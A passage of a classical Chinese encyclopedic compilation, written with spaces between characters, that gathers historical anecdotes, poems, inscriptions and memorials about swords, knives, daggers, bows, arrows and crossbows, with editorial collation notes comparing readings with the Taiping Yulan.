绕 其 舡 . 佽 飞 攘 臂 袪 衣 . 拔 宝 剑 赴 江 . 刺 蛟 杀 之 . 荆 王 闻 之 . 仕 以 执 圭 .\n史 记 曰 . 吴 季 札 之 初 使 . 北 过 徐 . 徐 君 好 季 札 剑 . 口 不 敢 言 . 季 札 知 之 . 为 使 上 国 . 未 献 . 还 至 徐 . 徐 君 已 死 . 乃 解 其 宝 剑 . 系 徐 君 冢 树 而 去 .\n又 曰 . 秦 昭 王 临 朝 叹 息 . 应 侯 进 曰 . 臣 闻 主 忧 臣 辱 . 主 辱 臣 死 . 今 大 王 中 朝 而 忧 . 臣 敢 请 其 罪 . 王 曰 . 吾 闻 楚 之 铁 剑 利 而 倡 优 拙 . 夫 铁 剑 利 则 士 勇 . 倡 优 拙 则 思 虑 远 矣 . 以 远 思 虑 而 御 勇 士 . 恐 楚 之 图 秦 .\n又 曰 . 高 祖 送 徒 骊 山 . 到 丰 而 夜 . 径 泽 中 . 令 一 人 行 前 . 行 前 者 还 报 曰 . 前 有 大 蛇 当 径 . 愿 还 . 高 祖 曰 . 壮 士 行 何 畏 . 乃 前 拔 剑 斩 蛇 . 蛇 分 为 两 . 道 开 . 事 具 帝 王 部 .\n又 曰 . 高 祖 击 英 布 时 . 为 流 矢 所 中 . 高 祖 问 医 . 曰 . 病 可 治 . 于 是 高 祖 慢 骂 之 曰 . 吾 从 布 衣 . 提 三 尺 剑 . 取 天 下 . 此 非 天 命 乎 . 命 乃 在 天 . 虽 扁 鹊 何 益 .\n又 曰 . 陈 平 闲 行 杖 剑 . 亡 渡 河 . 舡 人 见 其 美 丈 夫 独 行 . 疑 其 亡 将 . 腰 中 有 金 宝 . 因 之 欲 杀 平 . 平 恐 . 解 衣 佐 刺 舡 . 舡 人 知 其 无 . 乃 止 .\n说 苑 曰 . 经 侯 往 过 魏 太 子 . 左 带 玉 具 剑 . 右 带 环 佩 . 左 光 照 右 . 右 光 照 左 . 事 具 衣 冠 部 觖 佩 篇 . 异 苑 曰 . 晋 惠 帝 元 康 三 年 . 武 库 火 . 烧 孔 子 履 高 祖 斩 白 蛇 之 剑 . 咸 见 此 剑 . 穿 屋 飞 去 . 莫 知 所 向 .\n汉 书 曰 . 隽 不 疑 . 字 曼 倩 . 帝 使 暴 胜 之 为 直 指 使 者 . 素 闻 不 疑 贤 . 遣 吏 请 与 相 见 . 不 疑 冠 进 贤 冠 . 带 ● 具 剑 . ● 磊 落 壮 大 之 貌 .\n又 曰 . 陆 贾 常 乘 安 车 驷 马 . 从 歌 鼓 琴 瑟 侍 者 十 人 . 宝 剑 直 百 金 . 其 游 汉 庭 . 名 声 藉 甚 . 言 狼 藉 其 盛 .\n汉 武 内 传 曰 . 西 王 母 带 分 景 之 剑 . 上 元 夫 人 带 流 黄 择 精 之 剑 .\n东 观 汉 记 曰 . 世 祖 时 . 有 献 名 马 宝 剑 . 直 百 金 . 马 以 驾 鼓 车 . 剑 以 赐 骑 士 .\n吴 越 春 秋 曰 . 伍 子 胥 过 江 . 解 其 剑 与 渔 父 曰 . 此 剑 中 有 七 星 北 斗 . 其 直 百 金 .\n典 论 曰 . 建 安 二 十 四 年 二 月 壬 午 . 魏 太 子 丕 造 百 辟 宝 剑 . 长 四 尺 二 寸 . 淬 以 清 漳 . 厉 以 礛 诸 . 饰 以 文 玉 . 表 以 通 犀 . 光 似 流 星 . 名 曰 飞 景 .\n雷 次 宗 豫 章 记 曰 . 吴 未 亡 . 恒 有 紫 气 见 牛 斗 之 间 . 张 华 闻 雷 孔 章 妙 达 纬 象 . 乃 要 宿 . 问 天 文 . 孔 章 曰 . 惟 牛 斗 之 间 有 异 气 . 是 宝 物 也 . 精 在 豫 章 丰 城 . 张 华 遂 以 孔 章 为 丰 城 令 . 至 县 . 掘 深 二 丈 . 得 玉 匣 . 长 八 尺 . 开 之 . 得 二 剑 . 其 夕 斗 牛 气 不 复 见 . 孔 章 乃 留 其 一 匣 . 而 进 之 . 剑 至 . 光 曜 炜 晔 . 焕 若 电 发 . 后 张 华 遇 害 . 此 剑 飞 入 襄 城 水 中 . 孔 章 临 亡 . 戒 其 子 . 恒 以 剑 自 随 . 后 其 子 为 建 安 从 事 . 经 浅 濑 . 剑 忽 于 腰 闲 跃 出 . 遂 视 . 见 二 龙 相 随 焉 .\n文 士 传 曰 . 魏 文 帝 爱 杨 脩 才 . 脩 诛 后 . 追 忆 脩 . 脩 曾 以 宝 剑 与 文 帝 . 帝 后 佩 之 . 告 左 右 曰 . 此 杨 脩 剑 也 .\n沈 约 宋 书 曰 . 初 世 祖 赐 谢 庄 宝 剑 . 庄 以 与 豫 州 刺 史 鲁 爽 . 别 后 . 爽 反 叛 . 世 祖 因 宴 集 . 问 剑 所 在 . 答 曰 . 昔 以 与 鲁 爽 别 . 窃 为 陛 下 杜 邮 之 赐 . 上 甚 悦 . 当 时 以 为 知 言 .\n【 诗 】 宋 鲍 昭 诗 曰 . 双 剑 将 别 离 . 先 在 匣 中 鸣 . 雌 沉 吴 江 里 . 雄 飞 入 楚 城 . 吴 江 深 无 底 . 楚 阙 有 崇 扃 . 一 为 天 地 别 . 岂 直 限 幽 明 . 神 物 终 不 隔 . 千 祀 傥 还 并 .\n梁 吴 筠 咏 宝 剑 诗 曰 . 我 有 一 宝 剑 . 出 自 昆 吾 溪 . 照 人 如 照 水 . 切 玉 如 切 泥 . 锷 边 霜 凛 凛 . 匣 上 风 凄 凄 . 寄 语 张 公 子 . 何 当 来 见 携 .\n【 铭 】 后 汉 士 孙 瑞 剑 铭 曰 . 天 生 五 材 . 金 德 惟 刚 . 从 革 庚 辛 . 含 景 吐 商 . 辩 物 利 用 . 勋 伐 弥 彰 . 暨 彼 良 工 . 区 冶 干 将 . 爰 造 宝 剑 . 巨 阙 墨 阳 . 精 通 皓 灵 . 获 兹 休 祥 . 剖 山 竭 川 . 虹 蜺 消 亡 . 曜 威 燿 武 . 震 动 遐 荒 . 楚 以 定 霸 . 越 以 取 强 .\n晋 裴 景 声 文 身 剑 铭 曰 . 器 以 利 显 . 实 以 名 举 . 长 剑 耿 介 . 体 文 经 武 . 陆 断 玄 犀 . 水 截 轻 羽 . 九 功 斯 像 . 七 德 是 辅 .\n晋 张 协 太 阿 剑 铭 曰 . 太 阿 之 剑 . 世 载 其 美 . 淬 以 清 波 . 砺 以 越 砥 . 如 玉 斯 曜 . 若 影 在 水 . 不 运 自 肃 . 率 土 从 轨 .\n【 启 】 梁 简 文 帝 谢 敕 赉 方 诸 剑 等 启 曰 . 才 发 紫 函 . 雕 奇 溢 目 . 始 开 泥 检 . 丽 饰 交 陈 . 已 匹 丹 霞 之 晖 . 乍 比 青 云 之 制 . 身 文 且 贵 . 器 用 惟 宜 . 寒 暑 兼 华 . 左 右 相 照 .\n梁 沈 约 为 东 宫 谢 敕 赐 孟 尝 君 剑 启 曰 . 田 文 重 气 徇 名 .\n四 豪 莫 及 . 宝 剑 雄 身 . 故 能 威 陵 秦 楚 . 人 高 事 远 . 遗 物\n足 奇 . 谨 加 玩 服 . 以 深 存 古 之 怀 .\n太 公 兵 法 曰 . 刀 子 之 神 . 名 曰 脱 光 .\n礼 记 曰 . 割 刀 之 用 . 鸾 刀 之 贵 . 贵 其 义 也 .\n论 语 曰 . 子 之 武 城 . 闻 弦 歌 之 声 . 夫 子 莞 尔 而 笑 曰 . 割 鸡 焉 用 牛 刀 . 事 具 人 部 笑 篇 .\n楚 辞 曰 . 铅 刀 进 御 . 遥 弃 太 阿 .\n孔 丛 子 曰 . 秦 王 得 西 戎 利 刀 . 以 之 割 玉 . 如 割 木 焉 . 汉 书 曰 . 龚 遂 为 渤 海 太 守 . 民 有 带 持 刀 剑 者 . 使 卖 剑 买 牛 . 卖 刀 买 犊 . 何 为 带 牛 而 佩 犊 .\n班 固 与 弟 超 书 曰 . 窦 侍 中 遗 仲 叔 . 楚 滕 陵 错 横 刀 玉 早 削 一 枚 . 金 错 半 垂 刀 一 枚 .\n东 观 汉 记 曰 . 马 严 为 陈 留 太 守 . 建 初 中 . 严 病 . 遣 功 曹 . 史 李 龚 . 奉 章 诣 阙 . 上 召 见 龚 . 问 疾 病 形 状 . 以 黄 金 十 斤 . 葛 缚 佩 刀 书 刀 革 带 付 龚 . 赐 严 .\n又 曰 . 赐 邓 遵 金 对 ○ 东 观 汉 记 作 刚 . 鲜 卑 绲 带 一 具 . 金 错 ○ 东 观 汉 记 . 太 平 御 览 三 百 四 十 五 下 有 刀 字 . 此 脱 . 五 十 . 辟 把 刀 墨 再 屈 环 横 刀 金 镜 ○ 东 观 汉 记 . 御 览 作 错 . 屈 尺 八 佩 刀 各 一 .\n魏 武 帝 令 曰 . 往 岁 作 百 辟 刀 五 枚 . 适 成 . 先 以 一 与 五 官 将 . 其 余 四 . 吾 诸 子 中 有 不 好 武 而 好 文 学 . 将 以 次 与 之 .\n典 论 曰 . 昔 者 周 鲁 宝 赤 刀 孟 劳 .\n又 曰 . 平 造 百 辟 宝 刀 . 名 灵 宝 . 其 二 采 似 丹 霞 . 名 曰 含 章 . 其 三 铿 似 崩 霜 . 名 曰 素 质 .\n费 袆 别 传 曰 . 孙 权 以 手 中 常 所 执 宝 刀 赠 之 .\n蜀 志 曰 . 初 孙 权 以 妹 妻 先 主 . 妹 才 捷 刚 猛 . 有 诸 兄 风 . 侍 婢 百 余 人 . 皆 亲 执 刀 侍 立 . 先 主 每 入 . 心 常 栗 栗 .\n物 理 论 曰 . 古 有 阮 师 之 刀 . 天 下 之 所 宝 贵 也 . 初 阮 之 作 刀 . 受 法 于 金 精 之 灵 . 七 月 庚 辛 . 见 金 神 于 冶 监 之 门 . 其 人 光 色 炜 燿 . 向 而 再 拜 . 神 执 其 手 曰 . 子 可 教 也 . 既 致 之 . 闲 宴 设 馔 而 问 焉 . 神 教 以 水 火 之 齐 . 五 精 之 陶 . 用 阴 阳 之 候 . 取 刚 软 之 和 .\n陆 机 晋 书 曰 . 王 浚 之 在 郡 也 . 梦 悬 四 刀 于 其 上 . 甚 恶 之 . 浚 主 簿 李 谷 . 拜 贺 曰 . 夫 三 刀 为 州 . 而 见 四 . 益 一 也 . 明 府 其 临 益 州 乎 .\n圣 证 论 曰 . 昔 国 家 有 优 曰 史 利 . 汉 氏 旧 优 也 . 云 梁 冀 有 火 浣 布 切 玉 刀 . 一 朝 以 为 诞 而 不 信 也 . 正 始 初 . 得 火 浣 布 . 乃 信 .\n晋 中 兴 书 曰 . 初 魏 徐 州 刺 史 吕 虔 . 有 佩 刀 . 工 相 之 . 以 为 必 三 公 可 服 此 刀 . 虔 谓 别 驾 王 祥 曰 . 苟 非 其 人 . 刀 或 为 害 . 卿 有 公 辅 之 量 . 故 以 相 与 .\n蒲 元 传 曰 . 君 性 多 奇 思 . 于 斜 谷 . 为 诸 葛 亮 铸 刀 三 千 口 . 刀 成 . 自 言 汉 水 钝 弱 . 不 任 淬 用 . 蜀 江 爽 烈 . 是 谓 大 金 之 元 精 . 天 分 其 野 . 乃 命 人 于 成 都 取 江 水 . 君 以 淬 刀 . 言 杂 涪 水 . 不 可 用 . 取 水 者 捍 言 不 杂 . 君 以 刀 画 水 . 言 杂 八 升 . 取 水 者 叩 头 云 . 于 涪 津 覆 水 . 遂 以 涪 水 八 升 益 之 . 以 竹 筒 内 铁 珠 满 中 . 举 刀 断 之 . 应 手 虚 落 . 因 曰 神 刀 . 金 屈 耳 环 者 . 乃 是 其 遗 范 .\n【 赋 】 魏 陈 王 曹 植 宝 刀 赋 曰 . 建 安 中 . 魏 王 命 有 司 造 宝 刀 五 枚 . 以 龙 熊 鸟 雀 为 识 . 太 子 得 一 . 余 及 余 弟 饶 阳 侯 . 各 得 一 焉 . 有 皇 汉 之 明 后 . 思 潜 达 而 玄 通 . 飞 文 义 而 博 致 . 扬 武 备 以 御 凶 . 然 后 砺 以 五 方 之 石 . 鉴 以 中 黄 之 壤 . 规 圆 景 以 定 环 . 摅 神 功 而 造 像 . 陆 斩 犀 象 . 水 断 龙 舟 . 轻 击 浮 截 . 刃 不 瀸 流 . 逾 南 越 之 巨 阙 . 超 西 楚 之 太 阿 . 寔 真 精 之 攸 御 . 永 天 禄 而 是 荷 .\n【 铭 】 后 汉 冯 敬 通 刀 阳 铭 曰 . 脩 尔 甲 兵 . 用 戒 不 虞 . 见 危 致 命 . 临 事 而 惧 . 文 不 可 匿 . 武 不 可 黩 . 文 武 孔 纯 . 荷 天 子 禄 .\n又 刀 阴 铭 曰 . 温 温 穆 穆 . 配 天 之 威 . 苗 裔 无 疆 . 福 报 永 绥 .\n后 汉 李 尤 错 佩 刀 铭 曰 . 佩 之 有 错 . 抑 武 扬 文 . 岂 为 丽 好 . 将 戒 有 身 . 又 金 马 书 刀 铭 曰 . 巧 冶 炼 刚 . 金 托 于 刑 . ○ 初 学 记 二 十 二 . 太 平 御 览 三 百 四 十 六 作 金 马 托 形 . 黄 又 ○ 御 览 作 文 . 错 镂 . 兼 勒 工 名 .\n魏 文 帝 露 陌 刀 铭 曰 . 于 铄 良 刀 . 胡 炼 亶 时 . 譬 诸 麟 角 . 靡 所 任 兹 . 不 逢 不 若 . 永 世 宝 持 .\n魏 陈 王 曹 植 宝 刀 铭 曰 . 造 兹 宝 刀 . 既 砻 既 砺 . 匪 以 尚 武 . 予 身 是 卫 . 麟 角 匪 独 . 鸾 距 匪 蹶 .\n魏 王 粲 刀 铭 曰 . 相 时 阴 阳 . 制 兹 利 兵 . 和 诸 色 刳 . 考 诸 浊 清 . 陆 剸 犀 兕 . 水 截 鲵 鲸 . 君 子 服 之 . 式 章 威 灵 .\n魏 何 晏 斫 猛 兽 刀 铭 曰 . 徒 抟 不 兵 . 作 戒 宣 丘 . 用 造 斯 器 . 螭 兽 是 刘 . 制 禽 允 良 . 昏 明 亶 时 . 永 厘 厥 后 . 蠲 民 之 灾 .\n晋 张 协 文 身 刀 铭 曰 . 宝 刀 既 成 . 穷 理 尽 妙 . 繁 文 波 回 . 流 光 电 照 .\n又 把 刀 铭 曰 . 弈 弈 名 金 . 昆 吾 遗 璞 . 裁 为 把 刀 . 利 亚 切 玉 . 时 文 斯 偃 . 含 精 内 烛 . 威 助 虽 化 . 武 不 可 黩 .\n晋 裴 景 声 文 身 刀 铭 曰 . 良 金 百 炼 . 乙 名 ○ 太 平 御 览 三 百 四 十 六 作 名 工 . 展 巧 . 宝 刀 既 成 . 理 ○ 御 览 作 穷 . 理 尽 妙 . 文 繁 波 流 . 回 光 电 照 . 在 我 皇 世 . 戢 而 不 耀 .\n【 启 】 梁 简 文 帝 谢 敕 赉 善 胜 威 胜 刀 启 曰 . 冰 锷 含 采 . 雕 琰 表 饰 . 名 均 素 质 . 神 号 脱 光 . 五 宝 初 成 . 曹 丕 先 荷 其 一 . 二 胜 今 造 . 愚 臣 总 被 其 恩 . 锡 韩 非 之 书 . 未 足 为 比 . 给 博 山 之 笔 . 方 此 更 轻 .\n梁 刘 孝 仪 为 晋 安 王 谢 东 宫 赐 玉 环 刀 启 曰 . 苗 峰 珍 铤 .\n利 极 钩 铓 . 谨 当 拥 以 雄 身 . 藉 而 安 体 . 不 令 北 海 小 雍 .\n孤 擅 穿 滕 之 寄 . 庐 江 佩 刀 . 独 表 不 欺 之 验 .\n说 苑 曰 . 秦 王 以 五 十 里 封 鄢 陵 之 君 . 辞 不 受 . 使 唐 且 谢 秦 . 秦 王 怒 曰 . 尝 见 天 子 之 怒 乎 . 一 怒 伏 尸 百 万 . 流 血 千 里 . 唐 且 曰 . 大 王 尝 闻 布 衣 韦 带 之 士 怒 乎 . 一 怒 伏 尸 二 人 . 流 血 五 步 . 即 按 其 匕 首 起 曰 . 今 将 是 矣 . 王 变 色 曰 . 先 生 就 坐 . 寡 人 喻 矣 . 秦 破 韩 灭 魏 . 鄢 陵 独 以 五 十 里 存 者 . 徒 用 先 生 故 也 .\n诸 葛 故 事 曰 . 成 都 作 匕 首 五 百 枚 . 以 给 骑 士 .\n典 论 曰 . 昔 周 鲁 宝 雍 狐 之 戟 . 屈 卢 之 矛 . 孤 父 之 戈 . 徐 氏 匕 首 . 凡 斯 皆 上 世 名 器 . 君 子 虽 有 文 事 . 必 有 武 备 矣 .\n又 曰 . 魏 太 子 造 百 辟 匕 首 二 . 其 一 理 似 坚 冰 . 名 曰 清 刚 . 其 二 曜 似 朝 日 . 名 曰 扬 文 .\n神 仙 传 曰 . 有 书 生 姓 张 . 就 李 仲 文 学 隐 术 . 久 无 所 得 . 患 之 . 张 怀 匕 首 斫 之 . 仲 文 笑 曰 . 我 宁 可 杀 .\n【 铭 】 晋 张 载 匕 首 铭 曰 . 元 民 造 制 . 戒 豫 惟 谨 . 匕 首\n之 设 . 应 速 用 近 . 既 不 忽 备 . 亦 无 轻 忿 . 利 以 形 彰 . 切\n以 道 隐 .\n【 铭 】 晋 张 协 长 铗 铭 曰 . 五 才 并 建 . 金 作 明 威 . 长 铗 陆 离 . 弭 凶 防 违 . 素 刃 霜 厉 . 溢 景 横 飞 .\n又 短 铗 铭 曰 . 器 用 多 品 . 诡 制 殊 观 . 亦 有 短 铗 . 清 晖\n载 烂 . 昔 在 先 朝 . 戢 兵 静 乱 . 惟 皇 宝 之 . 优 而 弗 玩 .\n山 海 经 曰 . 少 皞 生 股 . 是 始 弓 矣 . 世 本 云 . 牟 夷 作 矢 . 挥 作 弓 . 弓 矢 一 器 . 作 者 两 人 . 于 义 有 疑 . 此 言 股 作 之 是 也 .\n世 本 曰 . 挥 作 弓 . 挥 . 黄 帝 臣 .\n龙 鱼 河 图 曰 . 弓 之 神 . 名 曰 曲 张 .\n尔 雅 曰 . 弓 有 缘 谓 之 弓 . 无 缘 者 谓 之 弭 . 以 金 者 谓 之 铣 . 以 蜃 者 谓 之 珧 . 以 玉 者 谓 之 圭 .\n方 言 曰 . 弓 藏 谓 之 鞬 . 式 谓 之 韇 .\n说 文 曰 . 角 端 兽 . 状 似 豕 . 角 善 为 弓 . 出 胡 休 夕 ○ 太 平 御 览 三 百 四 十 七 作 胡 尸 国 . 注 云 一 曰 出 休 尸 国 . 按 说 文 作 胡 休 多 国 . 国 .\n易 曰 . 弦 木 为 弧 . 剡 木 为 矢 . 弧 矢 之 利 . 以 威 天 下 .\n广 雅 曰 . 繁 弱 钜 黍 弓 也 .\n周 官 曰 . 司 弓 . 掌 六 弓 四 弩 八 矢 之 法 . 辨 其 名 物 . 而 掌 其 守 藏 . 与 其 出 入 . 中 春 献 弓 弩 . 中 秋 献 矢 箙 . 箙 . 盛 矢 器 . 天 子 之 弓 . 合 九 而 成 规 . 诸 侯 合 七 而 成 规 . 大 夫 合 五 而 成 规 . 士 合 三 而 成 规 .\n又 曰 . 弓 人 为 弓 . 取 六 材 . 必 以 其 时 . 六 材 既 聚 . 巧 者 和 之 . 干 者 以 为 远 也 . 角 者 以 为 疾 也 . 筋 者 以 为 深 也 . 胶 者 以 为 和 也 . 丝 者 以 为 固 也 . 漆 者 以 为 受 霜 露 也 . 凡 取 干 之 道 七 . 柘 为 上 . 檍 次 之 . 桑 次 之 . 橘 次 之 . 木 瓜 次 之 . 荆 次 之 . 竹 为 下 .\n毛 诗 曰 . 彤 弓 . 天 子 赐 有 功 诸 侯 也 .\n左 传 曰 . 颜 高 之 弓 六 钧 . 颜 高 . 鲁 人 也 . 三 十 斤 为 钧 .\n又 曰 . 分 鲁 公 以 大 路 大 旗 . 夏 后 氏 之 璜 . 封 父 之 繁 弱 .\n郭 璞 毛 诗 拾 遗 曰 . 象 弭 鱼 服 . 毛 云 . 弭 弓 反 末 . 以 象 骨 为 之 . 盖 俗 说 之 误 也 . 左 传 曰 . 左 执 鞭 弭 . 弭 者 弓 之 别 名 . 谓 以 象 牙 为 弓 . 今 西 方 有 以 犀 角 及 鹿 角 为 弓 者 .\n列 子 曰 . 纪 昌 学 射 于 飞 卫 . 飞 卫 曰 . 尔 先 学 不 瞬 而 后 能 . 又 使 学 视 小 如 大 . 纪 昌 以 牦 悬 虱 于 牖 . 南 面 而 望 之 . 三 年 之 后 如 轮 . 睹 物 皆 山 丘 也 . 乃 以 燕 角 之 弧 . 朔 蓬 之 干 射 之 . 贯 虱 之 心 . 而 悬 不 绝 .\n楚 辞 曰 . 带 长 剑 . 挟 秦 弓 .\n孙 卿 子 曰 . 天 子 雕 弓 . 诸 侯 彤 弓 . 大 夫 黑 弓 . 礼 也 .\n战 国 策 曰 . 楚 人 有 好 以 弱 弓 微 缴 加 归 雁 之 上 者 . 顷 襄 王 闻 而 召 问 之 . 对 曰 . 见 鸟 六 双 . 王 何 不 以 圣 人 为 弓 . 以 勇 士 为 缴 . 时 张 而 射 之 . 此 六 双 者 . 可 得 而 囊 载 也 .\n家 语 曰 . 楚 共 王 出 游 . 亡 其 乌 号 之 弓 . 乌 号 . 良 弓 名 也 . 左 右 请 求 之 . 王 曰 . 楚 人 失 弓 . 楚 人 得 之 . 又 何 求 焉 .\n孔 丛 子 曰 . 楚 王 张 繁 弱 之 弓 . 载 忘 归 之 矢 . 以 射 蛟 兕 于 云 梦 .\n列 女 传 曰 . 晋 平 公 使 工 为 弓 . 三 年 乃 成 . 射 不 穿 一 札 . 公 怒 . 将 杀 工 . 其 妻 见 公 曰 . 妾 之 夫 造 此 弓 . 亦 劳 矣 . 干 生 太 山 之 阿 . 一 日 三 睹 阴 三 睹 阳 . 傅 以 燕 牛 之 角 . 缠 以 荆 麋 之 筋 . 糊 以 河 鱼 之 胶 . 此 四 者 天 下 之 选 也 . 而 不 穿 一 札 . 是 君 不 能 射 也 . 妾 闻 射 之 道 . 左 手 如 拒 . 右 手 如 附 支 . 右 手 发 . 左 手 不 知 . 公 以 其 仪 而 穿 七 札 . 弓 工 立 得 出 . 赐 金 三 镒 .\n阙 子 曰 . 宋 景 公 使 弓 工 为 弓 . 九 年 来 见 . 公 曰 . 为 弓 亦 迟 . 对 曰 . 臣 不 得 见 公 矣 . 曰 . 臣 之 精 尽 于 弓 矣 . 献 弓 而 归 . 三 日 而 死 . 公 张 弓 登 台 . 东 西 而 射 . 矢 逾 孟 霜 之 山 . 集 彭 城 之 东 . 其 余 力 逸 劲 . 饮 羽 于 石 梁 .\n淮 南 子 曰 . 淇 卫 箘 . 箘 . 箭 竹 也 . 出 于 淇 地 . 衔 箭 羽 . 饰 以 金 银 锡 . 虽 有 薄 缟 之 幨 . 然 独 不 能 穿 也 . 若 假 之 筋 角 之 力 . 弓 弩 之 势 . 则 贯 兕 甲 而 经 于 革 楯 矣 .\n新 序 曰 . 楚 熊 渠 夜 行 . 见 寝 石 . 弯 弓 射 之 . 没 矢 饮 羽 . 下 视 知 石 也 . 却 复 射 之 . 矢 摧 无 迹 . 事 具 地 部 石 篇 .\n东 观 汉 记 曰 . 盖 延 . 字 巨 卿 . 身 长 八 尺 . 弯 弓 三 百 斤 .\n张 璠 汉 记 曰 . 陈 球 为 零 陵 太 守 . 州 兵 朱 盖 等 反 . 球 守 城 . 弦 大 木 为 弓 . 羽 矛 为 矢 . 机 发 之 . 远 射 千 余 人 . ○ 太 平 御 览 三 百 四 十 七 作 步 . 斩 朱 盖 等 .\n风 俗 通 曰 . 乌 号 弓 者 . 柘 桑 之 枝 . 枝 条 畅 茂 . 乌 登 其\n上 . 乘 下 着 地 . 乌 适 飞 去 . 从 后 拨 杀 . 取 以 为 弓 . 因 为\n乌 号 耳 .\n说 文 曰 . 矢 . 弓 弩 矢 也 . 象 镝 括 羽 之 形 .\n世 本 曰 . 夷 牟 作 矢 也 .\n太 公 兵 法 曰 . 箭 之 神 . 名 续 长 .\n易 曰 . 弦 木 为 弧 . 剡 木 为 矢 也 .\n周 官 曰 . 庭 氏 . 掌 射 国 中 之 妖 鸟 . 若 不 见 其 鸟 兽 . 则 以 救 日 之 弓 . 救 月 之 矢 . 夜 射 之 .\n礼 记 曰 . 故 男 子 生 . 桑 弧 蓬 矢 六 . 以 射 天 地 四 方 . 天 地 四 方 者 . 男 子 之 所 有 事 也 . 故 必 先 有 志 于 其 所 有 事 .\n六 韬 曰 . 陷 坚 阵 . 败 强 敌 . 大 黄 参 连 弩 . 飞 凫 电 影 自 副 . 飞 凫 赤 茎 白 羽 . 以 铁 为 首 . 电 影 青 茎 赤 羽 . 以 铜 为 首 .\n国 语 曰 . 仲 尼 在 陈 . 有 隼 集 于 陈 侯 之 庭 而 死 . 楛 矢 贯 之 . 石 弩 . 其 长 尺 有 咫 . 陈 惠 公 使 人 以 隼 如 仲 尼 之 馆 问 之 . 仲 尼 曰 . 此 肃 慎 之 矢 也 . 昔 武 王 克 商 . 通 道 于 九 夷 八 蛮 . 肃 慎 氏 贡 楛 矢 石 弩 . 以 分 大 姬 . 配 虞 胡 公 . 而 封 诸 侯 于 陈 .\n孟 子 曰 . 矢 人 岂 不 仁 于 函 人 哉 . 矢 人 唯 恐 不 伤 人 . 函 人 唯 恐 伤 人 .\n鲁 连 子 曰 . 齐 田 单 破 燕 军 . 复 齐 城 . 唯 聊 城 不 下 . 燕 将 守 数 月 . 鲁 仲 连 乃 为 书 . 着 之 于 矢 . 以 射 城 中 . 遗 燕 . ○ 太 平 御 览 三 百 五 十 燕 下 有 将 字 . 燕 将 得 书 . 泣 三 日 . 乃 自 杀 .\n韩 子 曰 . 智 伯 将 伐 赵 . 赵 襄 子 召 张 孟 谈 曰 . 奈 无 箭 何 . 孟 谈 曰 . 董 安 于 之 治 晋 阳 . 公 宫 之 垣 . 皆 以 楛 楚 . 其 楛 高 十 尺 . 于 是 登 而 试 之 . 其 坚 则 干 之 劲 不 能 适 也 . 君 曰 . 奈 无 金 何 . 孟 谈 曰 . 董 安 于 之 治 晋 阳 . 宫 舍 之 堂 . 皆 以 铜 为 柱 质 . 君 登 而 用 之 . 有 余 金 矣 .\n淮 南 子 曰 . 楚 王 有 白 猿 . 王 自 射 之 . 则 抟 矢 而 阜 . ○ 太 平 御 览 三 百 五 十 作 熙 . 使 养 由 基 射 之 . 始 调 弓 矫 矢 . 未 发 . 而 猿 拥 柱 号 矣 .\n又 曰 . 水 激 则 旱 . 矢 激 则 远 . 夫 淇 卫 箘 . 饰 以 银 锡 . 虽 有 薄 缟 之 襜 . 然 犹 不 能 穿 也 . 若 假 之 弓 弩 之 势 . 则 贯 兕 甲 革 楯 也 .\n汉 书 曰 . 李 陵 击 匈 奴 . 一 日 五 十 万 矢 皆 尽 . 虏 攻 急 . 陵 叹 曰 . 复 人 数 十 矢 . 足 以 脱 矣 .\n东 观 汉 记 曰 . 耿 弇 与 张 步 战 . 矢 中 弇 眼 . ○ 太 平 御 览 三 百 四 十 九 作 股 . 以 佩 刀 摧 之 . 左 右 无 知 者 .\n三 齐 略 记 曰 . 城 东 南 五 十 里 . 有 蒲 台 . 高 八 丈 . 秦 始 皇 所 顿 处 . 时 在 台 下 . 萦 蒲 系 马 . 夹 道 数 百 步 . 到 今 蒲 生 犹 萦 . 蒲 似 水 杨 而 劲 . 堪 为 箭 也 .\n【 赞 】 梁 昭 明 太 子 弓 矢 赞 曰 . 弓 用 筋 角 . 矢 制 良 工 . 亦 以 观 德 . 非 止 临 戎 . 伤 叶 命 中 . 猿 随 张 空 .\n【 铭 】 后 汉 李 尤 弧 矢 铭 曰 . 弦 木 为 弧 . 剡 木 为 矢 . 弧 矢 协 并 . 八 极 同 纪 .\n晋 嵇 含 木 弓 铭 曰 . 乌 号 之 朴 . 丰 条 足 理 . 弦 鸣 走 括 . 截 飞 骇 止 . 射 隼 高 墙 . 出 有 拟 议 . 既 用 御 武 . 亦 以 招 士 .\n晋 李 充 良 弓 铭 曰 . 弓 矢 之 作 . 爰 自 曩 时 . 乡 射 载 礼 . 招 命 在 诗 . 力 称 颜 高 . 功 发 由 基 . 不 争 之 美 . 亦 以 详 疑 .\n【 启 】 齐 王 融 谢 武 陵 王 赐 弓 启 曰 . 殿 下 摛 藻 蕙 楼 . 畅\n艺 兰 苑 . 敷 缋 玉 于 风 筵 . 叠 连 珠 于 月 ○\n初 学 记 二 十 二 下 有 的 字 . 此 脱 . 兔 园 掩 秀 . 邺 水 惭 奇\n. 融 揖 让 未 工 . 滥 升 饮 之 赏 . 操 弧 反 矢 . 奉 招 贤 之 锡 .\n文 韬 镂 景 . 逸 干 梢 云 . 玩 溢 百 龄 . 佩 流 千 载 .\n释 名 曰 . 弩 . 怒 也 . 有 势 怒 之 . 钩 弦 者 牙 以 ○ 御 览 作 似 . 齿 牙 也 . 牙 外 曰 郭 . 为 牙 郭 也 . 含 括 之 口 曰 机 . 言 机 之 巧 也 . 亦 言 如 门 户 之 枢 机 . 开 阖 有 节 .\n史 记 曰 . 庞 涓 追 孙 膑 . 膑 量 其 暮 当 至 马 陵 . 马 陵 道 狭 . 可 伏 兵 . 乃 斫 大 树 . 白 而 书 之 曰 . 庞 涓 死 此 下 . 令 万 弩 夹 道 而 伏 . 期 曰 . 暮 见 火 举 而 俱 发 . 庞 涓 夜 至 斫 木 . 见 白 书 . 乃 钻 火 烛 之 . 齐 君 万 弩 俱 发 . 庞 涓 自 知 智 穷 . 乃 自 刎 曰 . 遂 成 竖 子 之 名 .\n史 记 曰 . 项 羽 伏 弩 . 射 中 汉 王 . 伤 胸 . 乃 扪 足 曰 . 虏 中 吾 指 .\n古 史 考 曰 . 黄 帝 作 弩 .\n战 国 策 曰 . 苏 秦 为 楚 合 从 . 元 戎 以 铁 为 矢 . 长 八 寸 . 一 弩 十 矢 俱 发 . ○ 按 元 戎 以 下 系 魏 氏 春 秋 文 . 见 太 平 御 览 三 百 四 十 八 引 . 此 有 脱 文 .\n吴 志 曰 . 甘 宁 招 合 轻 薄 少 年 . 为 之 渠 帅 . 群 聚 相 随 . 挟 持 弓 弩 . 负 毦 带 铃 . 民 闻 铃 声 . 即 知 是 宁 也 .\n晋 阳 